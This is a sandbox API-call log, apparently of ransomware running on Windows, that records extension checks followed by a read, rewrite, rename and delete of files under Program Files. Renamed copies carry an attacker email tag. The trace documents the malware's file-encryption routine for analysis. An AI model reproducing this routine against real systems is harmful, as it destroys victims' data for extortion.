	[0178.599] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0178.599] lstrlenW (lpString=".zip") returned 4
	[0178.599] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0178.599] lstrlenW (lpString=".rar") returned 4
	[0178.599] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0178.599] lstrlenW (lpString=".bz2") returned 4
	[0178.599] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0178.599] lstrlenW (lpString=".7z") returned 3
	[0178.599] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0178.599] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0178.599] lstrlenW (lpString=".dbf") returned 4
	[0178.599] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0178.600] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0178.600] lstrlenW (lpString=".1cd") returned 4
	[0178.600] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0178.600] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0178.600] lstrlenW (lpString=".jpg") returned 4
	[0178.600] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0178.600] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0178.600] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0178.600] lstrlenW (lpString=".doc") returned 4
	[0178.600] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0178.600] lstrlenW (lpString=".docx") returned 5
	[0178.600] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0178.600] lstrlenW (lpString=".pdf") returned 4
	[0178.600] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0178.600] lstrlenW (lpString=".xls") returned 4
	[0178.600] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0178.600] lstrlenW (lpString=".xlsx") returned 5
	[0178.600] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0178.600] lstrlenW (lpString=".ppt") returned 4
	[0178.600] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0178.600] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0178.600] lstrlenW (lpString=".zip") returned 4
	[0178.600] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0178.600] lstrlenW (lpString=".rar") returned 4
	[0178.600] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0178.600] lstrlenW (lpString=".bz2") returned 4
	[0178.600] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0178.600] lstrlenW (lpString=".7z") returned 3
	[0178.600] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0178.600] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0178.600] lstrlenW (lpString=".dbf") returned 4
	[0178.601] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0178.601] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0178.601] lstrlenW (lpString=".1cd") returned 4
	[0178.601] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0178.601] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0178.601] lstrlenW (lpString=".jpg") returned 4
	[0178.601] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0178.601] lstrcmpiW (lpString1=".EXE", lpString2=".html") returned -1
	[0178.601] lstrlenW (lpString="OSPPREARM.EXE") returned 13
	[0178.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0178.931] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=27200) returned 1
	[0178.931] CloseHandle (hObject=0x5c4) returned 1
	[0178.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe")) returned 0x20
	[0179.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0179.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0179.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0179.342] lstrlenW (lpString=".doc") returned 4
	[0179.342] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0179.342] lstrlenW (lpString=".docx") returned 5
	[0179.342] lstrcmpiW (lpString1=".docx", lpString2="M.EXE") returned -1
	[0179.342] lstrlenW (lpString=".pdf") returned 4
	[0179.342] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0179.342] lstrlenW (lpString=".xls") returned 4
	[0179.342] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0179.342] lstrlenW (lpString=".xlsx") returned 5
	[0179.342] lstrcmpiW (lpString1=".xlsx", lpString2="M.EXE") returned -1
	[0179.342] lstrlenW (lpString=".ppt") returned 4
	[0179.342] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0179.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0179.342] lstrlenW (lpString=".zip") returned 4
	[0179.342] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0179.342] lstrlenW (lpString=".rar") returned 4
	[0179.342] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0179.342] lstrlenW (lpString=".bz2") returned 4
	[0179.343] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0179.343] lstrlenW (lpString=".7z") returned 3
	[0179.343] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0179.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0179.343] lstrlenW (lpString=".dbf") returned 4
	[0179.343] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0179.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0179.343] lstrlenW (lpString=".1cd") returned 4
	[0179.343] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0179.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0179.343] lstrlenW (lpString=".jpg") returned 4
	[0179.343] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0179.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0179.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0179.343] lstrlenW (lpString=".doc") returned 4
	[0179.343] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0179.343] lstrlenW (lpString=".docx") returned 5
	[0179.343] lstrcmpiW (lpString1=".docx", lpString2="M.EXE") returned -1
	[0179.343] lstrlenW (lpString=".pdf") returned 4
	[0179.343] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0179.343] lstrlenW (lpString=".xls") returned 4
	[0179.343] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0179.343] lstrlenW (lpString=".xlsx") returned 5
	[0179.343] lstrcmpiW (lpString1=".xlsx", lpString2="M.EXE") returned -1
	[0179.343] lstrlenW (lpString=".ppt") returned 4
	[0179.343] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0179.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0179.343] lstrlenW (lpString=".zip") returned 4
	[0179.343] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0179.343] lstrlenW (lpString=".rar") returned 4
	[0179.343] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0179.343] lstrlenW (lpString=".bz2") returned 4
	[0179.344] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0179.344] lstrlenW (lpString=".7z") returned 3
	[0179.344] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0179.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0179.344] lstrlenW (lpString=".dbf") returned 4
	[0179.344] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0179.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0179.344] lstrlenW (lpString=".1cd") returned 4
	[0179.344] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0179.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0179.344] lstrlenW (lpString=".jpg") returned 4
	[0179.344] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0179.344] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0179.344] lstrlenW (lpString="CMNTY_01.MID") returned 12
	[0179.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0179.353] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=6970) returned 1
	[0179.353] CloseHandle (hObject=0x580) returned 1
	[0179.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid")) returned 0x220
	[0179.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0179.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0179.885] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.885] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c
	[0179.887] GetLastError () returned 0x0
	[0179.887] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x1b3a, lpOverlapped=0x0) returned 1
	[0179.890] WriteFile (in: hFile=0x46c, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x1b40, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x1b40, lpOverlapped=0x0) returned 1
	[0179.892] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.892] WriteFile (in: hFile=0x46c, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.892] SetEndOfFile (hFile=0x46c) returned 1
	[0179.892] CloseHandle (hObject=0x46c) returned 1
	[0179.892] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.892] SetEndOfFile (hFile=0x514) returned 1
	[0179.899] CloseHandle (hObject=0x514) returned 1
	[0179.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0179.900] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid")) returned 1
	[0179.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0179.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0179.901] lstrlenW (lpString=".doc") returned 4
	[0179.901] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0179.901] lstrlenW (lpString=".docx") returned 5
	[0179.901] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0179.901] lstrlenW (lpString=".pdf") returned 4
	[0179.901] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0179.901] lstrlenW (lpString=".xls") returned 4
	[0179.901] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0179.901] lstrlenW (lpString=".xlsx") returned 5
	[0179.901] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0179.901] lstrlenW (lpString=".ppt") returned 4
	[0179.901] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0179.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0179.901] lstrlenW (lpString=".zip") returned 4
	[0179.901] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0179.901] lstrlenW (lpString=".rar") returned 4
	[0179.901] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0179.901] lstrlenW (lpString=".bz2") returned 4
	[0179.901] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0179.901] lstrlenW (lpString=".7z") returned 3
	[0179.901] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0179.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0179.901] lstrlenW (lpString=".dbf") returned 4
	[0179.901] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0179.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0179.901] lstrlenW (lpString=".1cd") returned 4
	[0179.901] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0179.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0179.901] lstrlenW (lpString=".jpg") returned 4
	[0179.901] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0179.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0179.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0179.902] lstrlenW (lpString=".doc") returned 4
	[0179.902] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0179.902] lstrlenW (lpString=".docx") returned 5
	[0179.902] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0179.902] lstrlenW (lpString=".pdf") returned 4
	[0179.902] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0179.902] lstrlenW (lpString=".xls") returned 4
	[0179.902] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0179.902] lstrlenW (lpString=".xlsx") returned 5
	[0179.902] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0179.902] lstrlenW (lpString=".ppt") returned 4
	[0179.902] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0179.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0179.902] lstrlenW (lpString=".zip") returned 4
	[0179.902] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0179.902] lstrlenW (lpString=".rar") returned 4
	[0179.902] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0179.902] lstrlenW (lpString=".bz2") returned 4
	[0179.902] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0179.902] lstrlenW (lpString=".7z") returned 3
	[0179.902] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0179.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0179.902] lstrlenW (lpString=".dbf") returned 4
	[0179.902] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0179.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0179.902] lstrlenW (lpString=".1cd") returned 4
	[0179.902] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0179.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0179.902] lstrlenW (lpString=".jpg") returned 4
	[0179.902] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0179.903] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0179.903] lstrlenW (lpString="GRDEN_01.MID") returned 12
	[0179.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0180.007] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=7567) returned 1
	[0180.007] CloseHandle (hObject=0x5bc) returned 1
	[0180.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid")) returned 0x220
	[0180.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0180.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0180.287] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.287] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0180.288] GetLastError () returned 0x0
	[0180.288] ReadFile (in: hFile=0x36c, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x1d8f, lpOverlapped=0x0) returned 1
	[0180.296] WriteFile (in: hFile=0x5c4, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x1d90, lpOverlapped=0x0) returned 1
	[0180.297] ReadFile (in: hFile=0x36c, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.297] WriteFile (in: hFile=0x5c4, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.297] SetEndOfFile (hFile=0x5c4) returned 1
	[0180.297] CloseHandle (hObject=0x5c4) returned 1
	[0180.298] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.298] SetEndOfFile (hFile=0x36c) returned 1
	[0180.306] CloseHandle (hObject=0x36c) returned 1
	[0180.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0180.308] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid")) returned 1
	[0180.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0180.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0180.309] lstrlenW (lpString=".doc") returned 4
	[0180.309] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0180.309] lstrlenW (lpString=".docx") returned 5
	[0180.309] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0180.309] lstrlenW (lpString=".pdf") returned 4
	[0180.309] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0180.309] lstrlenW (lpString=".xls") returned 4
	[0180.309] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0180.309] lstrlenW (lpString=".xlsx") returned 5
	[0180.309] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0180.309] lstrlenW (lpString=".ppt") returned 4
	[0180.309] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0180.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0180.310] lstrlenW (lpString=".zip") returned 4
	[0180.310] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0180.310] lstrlenW (lpString=".rar") returned 4
	[0180.310] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0180.310] lstrlenW (lpString=".bz2") returned 4
	[0180.310] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0180.310] lstrlenW (lpString=".7z") returned 3
	[0180.310] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0180.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0180.310] lstrlenW (lpString=".dbf") returned 4
	[0180.310] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0180.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0180.310] lstrlenW (lpString=".1cd") returned 4
	[0180.310] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0180.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0180.310] lstrlenW (lpString=".jpg") returned 4
	[0180.310] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0180.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0180.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0180.310] lstrlenW (lpString=".doc") returned 4
	[0180.310] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0180.310] lstrlenW (lpString=".docx") returned 5
	[0180.310] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0180.310] lstrlenW (lpString=".pdf") returned 4
	[0180.310] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0180.310] lstrlenW (lpString=".xls") returned 4
	[0180.311] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0180.311] lstrlenW (lpString=".xlsx") returned 5
	[0180.311] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0180.311] lstrlenW (lpString=".ppt") returned 4
	[0180.311] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0180.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0180.311] lstrlenW (lpString=".zip") returned 4
	[0180.311] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0180.311] lstrlenW (lpString=".rar") returned 4
	[0180.311] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0180.311] lstrlenW (lpString=".bz2") returned 4
	[0180.311] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0180.311] lstrlenW (lpString=".7z") returned 3
	[0180.311] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0180.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0180.311] lstrlenW (lpString=".dbf") returned 4
	[0180.311] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0180.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0180.311] lstrlenW (lpString=".1cd") returned 4
